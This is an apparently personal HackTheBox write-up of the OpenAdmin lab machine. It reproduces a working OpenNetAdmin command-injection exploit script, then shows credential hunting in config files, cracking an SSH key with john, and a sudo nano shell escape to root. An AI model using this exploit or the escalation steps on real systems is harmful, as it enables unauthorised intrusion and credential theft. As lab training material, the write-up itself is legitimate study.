HTB OpenAdmin

03/05/2020 3-minute read

0x01 Introduction Link to heading

This was one of my first “live” boxes I’ve done on HackTeBox. Moreover, it inroduced me to GTFOBins and other inetersting things. Overall, I learnt a lot while rooting this particular machine.

0x02 Tools Link to heading

nmap
john
OpenNetAdmin
GTFOBins
ExploitDB

0x03 Recon and Enum Link to heading

nmap Link to heading

ip = 10.10.10.171

1nmap -sT -p- --min-rate 10000 -oA nmap_tcp 10.10.10.171

port 80 is open. that’s good. we’ll check it later.

1nmap -p 22,80 -sV -sC -oA nmap_sctipts 10.10.10.171

http; port 80 Link to heading

let’s check it in browser:

we’ve got default page there:

We also got version: Apache 2.4.29

Search for known CVEs got some interesting results CVE-2019-0211:

Moreover, there is a github repo with exploit: https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache

dirbuster Link to heading

There are some files like ona. let’s check them So, we got opennetadmin console here and it seems to be outdated:

0x04 Exploitation Link to heading

OpenAdmin Link to heading

Let’s try to use the script we found on ExploitDB:

1wget https://www.exploit-db.com/download/47691
2mv 47691 oascript.sh
3chmod +x oascript.sh

code:

1#!/bin/bash
2URL="${1}"
3while true;do
4 echo -n "$ "; read cmd
5 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
6done

We can try to run it, but we have to specify the url: http://10.10.10.171/ona/

1./oascript.sh http://10.10.10.171/ona/

Bummer, there are errors:

Probably, the problem is with encoding. let’s try to convert the script to unix format:

1dos2unix oascript.sh

Yay! That’s it.. here we go, the shell:

Let’s see what do we have here using ls command:

The shell is restricted in some way: it doesn’t allow to change directory to something like cd /home. However, we can use cat, ls and find. This should be enough for now, let’s try cat /etc/shadow and it got us nothing at all. Ok, it’s time to find what files we have access to:

1find / -type f -user www-data

It returns heaps of files, there are some files that are quite interesting though:

there is also some interestin info in config.inc.php file

Using cat /etc/passwd we found two usernames: jimmy and joanna

I went further and checked subdirectories if there are any passwords. Turned out on of the files had one:

I tried then to ssh as jimmy using this password and it worked.

1ssh 10.10.10.171 -l jimmy

Let’s explore further.

1find / -type f -user jimmy 2>/dev/null

Let’s see what’s inside the main.php file:

That’s look quite suscpicious. let’s try to curl this file.

1curl http://localhost/main.php

Ooopsie..error.

So, there might be a different port, let’s check:

1netstat tulnp

Now we can try to curl using this port. yay! we’ve got RSA key.

john Link to heading

We’ll use ssh2john.py script

1/usr/share/john/ssh2john.py joa_rsa > jo.hash

And then we’ll run the john

1john -wordlist=/usr/share/wordlists/rockyou.txt jo.hash --format=ssh

Got password for RSA key:

user flag Link to heading

let’s try to ssh now using this key and username joanna.

1ssh -i joa_rsa joanna@10.10.10.171

Got an error. Of course, we need to take back some permissions from this file.

1chmod 700 joa_rsa

so that it can only be executable and try again:

Here we go – first flag: ll and cat user.txt

root Link to heading

1sudo -l

gives us the following:

Since we know we can execute /bin/nano as root, we can easily escape the shell using GTFObins.

1sudo /bin/nano /opt/priv

Then, press ⌃🆁 and ⌃🆇

1#type in the appeared prompt: 
2reset; sh 1>&0 2>&0

Now we got the root: